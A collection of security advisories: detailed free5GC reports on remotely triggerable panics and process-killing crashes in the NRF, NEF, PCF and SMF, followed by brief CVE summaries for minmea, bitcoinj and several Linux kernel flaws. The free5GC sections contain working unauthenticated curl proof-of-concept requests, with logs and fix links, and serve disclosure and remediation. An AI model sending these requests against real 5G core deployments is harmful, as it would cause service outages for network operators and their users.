### Summary free5GC's NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields. Note: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint. ### Details Validated against the NRF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nrf:v4.2.1` - Docker validation date: 2026-03-22 - NRF endpoint: `http://10.100.200.3:8000` Root cause is in the access-token request parser: - `NFs/nrf/internal/sbi/api_accesstoken.go:52` - `NFs/nrf/internal/sbi/api_accesstoken.go:87` - `NFs/nrf/internal/sbi/api_accesstoken.go:98` - `NFs/nrf/internal/sbi/api_accesstoken.go:100` - `NFs/nrf/internal/sbi/api_accesstoken.go:112` The model definition lives in `free5gc/openapi`: - `models/model_nrf_access_token_access_token_req.go:27` - `models/model_nrf_access_token_access_token_req.go:29` - `models/model_nrf_access_token_access_token_req.go:30` - `models/model_nrf_access_token_access_token_req.go:31` The parser's effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error. Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - `requesterPlmnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnId` - `requesterSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `requesterSnpnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnIdNid` - `targetSnpn` -> panic assigning `*models.PlmnId` to `*models.PlmnIdNid` - `targetSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `targetNsiList` -> panic assigning `*models.PlmnId` to `[]string` ### PoC Reproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler. 1. `requesterPlmnList` -> `[]models.PlmnId` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}' ``` 2. `requesterSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}' ``` 3. `requesterSnpnList` -> `[]models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}' ``` 4. `targetSnpn` -> `*models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}' ``` 5. `targetSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}' ``` 6. `targetNsiList` -> `[]string` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}' ``` Observed response (per request, no body returned): ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` NRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type: ``` [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token | ``` ### Impact Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755). This is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests. What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history. No Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83
### Summary free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`, which is `os.Exit(1)`-equivalent in Go. An attacker who can create a PFD subscription with an attacker-chosen `notifyUri` and then trigger a PFD change can deterministically kill NEF on the asynchronous delivery attempt -- the process exits with status `1`, dropping NEF's entire SBI surface until restart. This is materially worse than a per-request panic-DoS (Gin recovery does not catch `Fatal`). The trigger uses three POSTs that are reachable without an `Authorization` header in v4.2.1, because the underlying NEF SBI route groups themselves are mounted without inbound auth middleware (see free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the lab the entire chain is unauthenticated end-to-end. This advisory is scoped to the `Fatal`-on-delivery-failure code defect; the auth-bypass primitives are tracked separately in the upstream issues above. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-20 (container log timestamp `2026-03-20T16:00:03Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable notifier path: ```go _, err := nc.notifier.clientPfdManagement.PFDSubscriptionsApi.NnefPFDmanagementNotify( context.TODO(), nc.notifier.getSubURI(id), notifyReq) if err != nil { logger.PFDManageLog.Fatal(err) // <-- os.Exit(1)-equivalent } ``` The failing branch is reached whenever NEF's outbound POST to the subscriber's `notifyUri` returns an error (connection refused, DNS failure, TLS error, timeout, etc.). The delivery happens asynchronously after the PFD-management transaction is accepted, so the triggering HTTP request (the PFD change) returns `201 Created` and only then does NEF die. Code evidence (paths in `free5gc/nef`): - Notifier dispatch: - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:135` - Fatal call site (process exit): - `NFs/nef/internal/sbi/notifier/pfd_notifier.go:142` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` -- three unauthenticated POSTs, the third one indirectly triggers async notify -> Fatal -> process exit. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afdos/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-dos","anyUeInd":true}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/3gpp-traffic-influence/v1/afdos/subscriptions/1 ``` 2. Create a PFD subscription with an attacker-chosen unreachable callback (port 1 = always refused locally): ``` curl -i -X POST 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-nef-dos"],"notifyUri":"http://127.0.0.1:1/notify"}' ``` ``` HTTP/1.1 201 Created Location: http://nef.free5gc.org:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` 3. Trigger a PFD change so NEF tries to deliver a notification to the bad URI: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afdos/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-nef-dos":{"externalAppId":"app-nef-dos","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any","permit out ip from any to 10.68.28.39 80"]}}}}}' ``` The PFD POST itself returns `201`, but immediately afterward NEF exits. 4. Confirm the NEF container is dead (`exited`, `exit=1`): ``` docker inspect nef --format 'status={{.State.Status}} restart={{.RestartCount}} exit={{.State.ExitCode}}' ``` ``` status=exited restart=0 exit=1 ``` 5. NEF container logs (`docker logs --since 2026-03-20T16:00:03Z nef`) show the `[FATA]` line that terminated the process: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[afdos] [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] New pfd transcation [INFO][NEF][CTX][AFID:AF:afdos][PfdTRID:PFDT:1] PFD Management Transaction is added [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/afdos/transactions | [FATA][NEF][PFDMng] Post "http://127.0.0.1:1/notify": dial tcp 127.0.0.1:1: connect: connection refused ``` ### Impact Reachable assertion / fail-fast (CWE-617) inside an asynchronous notification delivery path, plus improper handling of an exceptional condition (CWE-755) (treating a transient outbound HTTP failure as fatal), plus missing input validation (CWE-20) on the attacker-supplied `notifyUri`. `logger.Fatal` is `os.Exit(1)`-equivalent in Go -- it skips Gin recovery, deferred cleanup, and connection draining; the whole NEF process terminates. In v4.2.1, the trigger chain is reachable without an `Authorization` header because the NEF route groups used in the chain are themselves mounted without inbound auth middleware (free5gc/free5gc#858, free5gc/free5gc#859, free5gc/free5gc#862). So in the validation lab any party that can reach NEF on the SBI can: - Submit the three-step trigger anonymously and immediately terminate the NEF process. - Repeat the trigger after every restart to sustain the outage. - Pick any unreachable `notifyUri` (refused port, blackholed IP, DNS-NXDOMAIN, broken TLS) -- the failure branch is the same `Fatal`, so partial fixes that block one URI do not close the family. No Confidentiality impact (the failure returns no attacker-readable data). No persistent Integrity impact (NEF state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of NEF service via a single attacker-controlled notification target. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/924 Upstream fix: https://github.com/free5gc/nef/pull/25
### Summary free5GC's NEF `PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId}` handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns `err != nil` together with a nil `*ProblemDetails`. The handler's `errPfdData != nil` branch builds its own `problemDetailsErr` correctly, but immediately after it reads `problemDetails.Cause` (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into `HTTP 500`, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing. This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable. The HTTP request itself in v4.2.1 is reachable without an `Authorization` header because the underlying NEF `3gpp-pfd-management` route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-21 (container log timestamp `2026-03-21T03:06:36Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable handler logic in `PatchIndividualApplicationPFDManagement` (paraphrased): ```go pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID) switch { case problemDetails != nil: ... case errPfdData != nil: problemDetailsErr := &models.ProblemDetails{ Status: http.StatusInternalServerError, Detail: "Query to UDR failed", } c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause) // <-- nil deref c.JSON(int(problemDetailsErr.Status), problemDetailsErr) return } ``` In the `errPfdData != nil` branch, `problemDetails` is by construction nil (otherwise the first `case` would have matched). Reading `problemDetails.Cause` panics with `runtime error: invalid memory address or nil pointer dereference`. The intended value is presumably `problemDetailsErr.Cause` -- the locally constructed problem-details struct. Code evidence (paths in `free5gc/nef`): - Patch handler core path: - `NFs/nef/internal/sbi/processor/pfd.go:563` - `NFs/nef/internal/sbi/processor/pfd.go:610` - Panic site (nil-deref on `problemDetails.Cause`): - `NFs/nef/internal/sbi/processor/pfd.go:622` - Route exposure / dispatch: - `NFs/nef/internal/sbi/api_pfd.go:168` - `NFs/nef/internal/sbi/api_pfd.go:188` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-npd3","anyUeInd":true}' ``` 2. Create a PFD-management transaction: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}' ``` 3. Make UDR access fail (lab simulation): ``` docker stop nrf ``` 4. Trigger the panic with one PATCH: ``` curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \ -H 'Content-Type: application/json' \ --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. NEF container logs (`docker logs --since 2026-03-21T03:06:36Z nef`) confirm the nil-deref panic at `pfd.go:622` inside `PatchIndividualApplicationPFDManagement`: ``` [INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3] [ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement .../pfd.go:622 github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement .../api_pfd.go:188 [INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 | ``` 6. Restore for further testing: ``` docker start nrf ``` ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the `errPfdData != nil` branch reads `problemDetails.Cause` even though `problemDetails` is nil by construction in that branch (the prior `case` already matched the non-nil case). The intended target was the locally constructed `problemDetailsErr.Cause`. Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns `500` (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/925 Upstream fix: https://github.com/free5gc/nef/pull/22
### Summary free5GC's PCF `POST /npcf-smpolicycontrol/v1/sm-policies` handler (`HandleCreateSmPolicyRequest`) panics with a nil-pointer dereference when a downstream OpenAPI consumer call (UDR lookup) returns `404 Not Found` and the consumer wrapper returns `err != nil` together with a nil response struct. The handler logs the OpenAPI error and continues executing instead of returning, then dereferences the nil response struct on a subsequent line and panics. Gin recovery converts the panic into `HTTP 500`, so a single attacker-shaped POST returns 500 instead of a clean 4xx whenever the downstream lookup fails. The PCF process keeps running. The trigger is a single POST containing input that causes the downstream UDR lookup to fail (e.g. an unknown DNN). In v4.2.1 this endpoint is also reachable WITHOUT an `Authorization` header because the PCF `Npcf_SMPolicyControl` route group is mounted without inbound auth middleware (see free5gc/free5gc#844). So in the validation lab the trigger is fully unauthenticated. ### Details Validated against the PCF container in the official Docker compose lab. - free5GC version: `v4.1.0` (originally reported on v4.1.0; same defect present in v4.2.1) - PCF endpoint: `http://10.100.200.9:8000` Vulnerable handler path (paraphrased from the captured stack trace): ``` [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandleCreateSmPolicyRequest /go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPCreateSMPolicy /go/src/free5gc/NFs/pcf/internal/sbi/api_smpolicy.go:86 +0x405 ``` The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct. Code evidence (paths in `free5gc/pcf`): - Panic site: - `NFs/pcf/internal/sbi/processor/smpolicy.go:82` - Route dispatch: - `NFs/pcf/internal/sbi/api_smpolicy.go:86` ### PoC Reproduced end-to-end against the running PCF at `http://10.100.200.9:8000`. Send a single POST whose `dnn` is unknown to UDR -- this drives the downstream OpenAPI call to return `404 Not Found`, which then triggers the nil-deref panic: ``` curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \ -H 'Content-Type: application/json' \ -d '{ "supi":"imsi-208930000000003", "pduSessionId":1, "dnn":"internet-bad", "sliceInfo":{"sst":1,"sd":"010203"}, "servingNetwork":{"mcc":"208","mnc":"93"}, "accessType":"3GPP_ACCESS", "notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify" }' ``` Observed response: `HTTP 500 Internal Server Error` with empty body. PCF container logs show: ``` [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference ...HandleCreateSmPolicyRequest at smpolicy.go:82... ``` The Gin recovery middleware catches the panic (the captured stack trace runs inside `ginRecover.func2.1`), so the PCF process keeps serving other requests; the realized impact is per-request `HTTP 500` on this endpoint whenever the downstream lookup fails. ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled `4xx`/`5xx` `ProblemDetails` and stop processing. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a `404` returns `HTTP 500` (with empty body and a stack trace in PCF logs) instead of a controlled error response. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. The endpoint remains reachable to unauthenticated attackers via the route-group auth gap separately tracked in free5gc/free5gc#844. Affected: free5gc v4.2.1 (originally reported against v4.1.0; same defect present). Upstream issue: https://github.com/free5gc/free5gc/issues/803 Upstream fix: https://github.com/free5gc/pcf/pull/62
### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`) - SMF endpoint: `http://10.100.200.6:8000` The broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there: Vulnerable handler dispatches into topology parsing: ``` POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs") ``` Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`: - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:72` - Pool parsing (input from attacker JSON): - `NFs/smf/internal/context/user_plane_information.go:413` - Overlap check that calls `Fatalf`: - `NFs/smf/internal/context/user_plane_information.go:479` The same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler: - `NFs/smf/internal/context/user_plane_information.go:416` - `NFs/smf/internal/context/user_plane_information.go:424` - `NFs/smf/internal/context/user_plane_information.go:430` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`): ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}' ``` Client-side observation (server died mid-request, no HTTP response written): ``` curl: (52) Empty reply from server ``` 2. Confirm the SMF container exited: ``` docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' ``` ``` smf Exited (1) 9 seconds ago ``` 3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process: ``` [FATA][SMF][Init] overlap cidr value between UPFs ``` ### Impact Unauthenticated process-kill DoS on the SMF management plane. 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level. Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler. No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203
Stack buffer overflow in kosma minmea 0.3.0 allows remote unauthenticated attackers to cause denial of service through crafted NMEA field data. The minmea_scan function's format specifier copies data to caller-provided buffers without size validation, enabling memory corruption when processing untrusted NMEA GPS sentences. CVSS 7.5 (High) with network attack vector and low complexity, though impact is currently limited to availability (DoS). Public exploit demonstration exists via GitHub Gist reference. EPSS data not available, not listed in CISA KEV at time of analysis.
Signature verification bypass in bitcoinj-core library allows attackers to forge Bitcoin transaction validations by exploiting fast-path optimization flaws in P2PKH and P2WPKH script execution. Versions 0.15 through 0.17.0 fail to verify that attacker-supplied public keys match the hash committed to in transaction outputs, enabling arbitrary keypairs to satisfy local transaction validation checks. While this does not affect SPV (Simple Payment Verification) nodes that follow proof-of-work without signature verification, applications using the correctlySpends() method for transaction validation or pre-signing checks are vulnerable to accepting fraudulent transactions. Vendor-released patch available in version 0.17.1, fixes confirmed in GitHub commits 2bc5653c and b575a682. No active exploitation confirmed (not in CISA KEV); EPSS data unavailable.
Denial of service in Linux kernel's xprtrdma subsystem causes system hang when memory allocation fails during RDMA receive buffer posting. Affects NFS over RDMA (RoCE/InfiniBand) deployments running kernel versions 5.13 through 6.19.8, 6.18.18 and earlier, 6.12.77 and earlier, 6.6.129 and earlier, 6.1.166 and earlier, and 5.15.202 and earlier. Systems under high memory pressure can trigger hung tasks in the xprtiod workqueue, requiring reboot to recover. EPSS score of 0.02% suggests low widespread exploitation likelihood. Vendor patches available across all affected stable kernel branches.
Null pointer dereference in Linux kernel bonding driver crashes systems running with IPv6 disabled (ipv6.disable=1) when IPv6 Neighbor Solicitation packets arrive on bonded interfaces with ARP/NS validation enabled. Affects Linux kernel versions 5.18+ up to 6.19.9/7.0, with vendor patches available across stable branches (6.1.167, 6.6.130, 6.12.78, 6.18.19, 6.19.9, 7.0). EPSS exploitation probability is very low (0.02%, 7th percentile) and no active exploitation or public POC has been identified, but the high CVSS 7.5 reflects trivial remote triggering (AV:N/AC:L/PR:N) for denial-of-service in affected configurations.
Integer signedness vulnerability in Linux kernel's Ceph networking library (libceph) allows remote attackers to trigger denial of service via crafted monitor map messages. The flaw enables bypassing memory allocation limits by exploiting signed/unsigned integer confusion in ceph_monmap_decode(), causing excessive memory allocation attempts that crash the system. With CVSS 7.5 (AV:N/AC:L/PR:N/UI:N) and 0.02% EPSS score, this represents a network-reachable DoS vector against systems using Ceph storage, though low exploitation probability suggests limited attacker interest. Patches available across all maintained kernel branches (5.15.203, 6.1.167, 6.6.130, 6.12.78, 6.18.19, 6.19.9, 7.0).
Memory exhaustion in Linux kernel NCSI protocol handler allows remote denial of service through resource depletion. The Network Controller Sideband Interface (NCSI) receive and Asynchronous Event Notification (AEN) handlers fail to free socket buffers (skbs) in error paths, enabling network attackers to exhaust kernel memory by sending malformed NCSI packets or triggering device resolution failures. CVSS 7.5 (High severity) reflects unauthenticated network exploitation, though low EPSS score (0.02%, 7th percentile) suggests minimal observed exploitation. Vendor patches available across all active kernel branches (5.10.253, 5.15.203, 6.1.167, 6.6.130, 6.12.78, 6.18.19, 6.19.9, 7.0).
ChaCha cipher implementation in the Linux kernel leaks cryptographic key material through an improperly zeroized stack variable. The ChaCha permutation function leaves 'permuted_state' on the stack after execution, which can be used to reverse-compute the original encryption key since ChaCha's permutation is mathematically invertible. This information disclosure affects kernel cryptographic operations including the RNG (random number generator). EPSS score of 0.02% indicates very low observed exploitation probability, and no active exploitation is confirmed (not in CISA KEV). Patches are available across all maintained kernel versions from 5.10.253 through 6.19.12.
Denial of service in Linux kernel octeontx2-af network driver allows remote unauthenticated attackers to trigger system stalls and deadlocks via network traffic that exploits hardware errata in Marvell OcteonTX2 NIX SQ manager. The vulnerability affects Linux kernel versions from mainline through multiple stable branches, with vendor patches released for 5.10.252, 5.15.202, 6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6, and mainline 7.0. EPSS exploitation probability is low at 0.02% (7th percentile), and no public exploit or active exploitation is confirmed at time of analysis.
RCU tasks grace period stalls cause denial of service in Linux kernel's threaded NAPI busypoll implementation (6.19+). When threaded busypoll is enabled on network interfaces, the napi_threaded_poll_loop function resets its quiescent state tracking (last_qs) on every invocation, preventing rcu_softirq_qs_periodic from reporting grace period completion. This triggers kernel stalls lasting hundreds of seconds (400,000+ jiffies observed), causing tools like bpftrace to hang indefinitely and impacting system stability. Vendor patches available for 6.19.9 and 7.0. EPSS score of 0.02% suggests very low active exploitation likelihood, consistent with this being a kernel-internal RCU mechanism issue affecting specific network polling configurations rather than a remotely triggerable network attack surface.
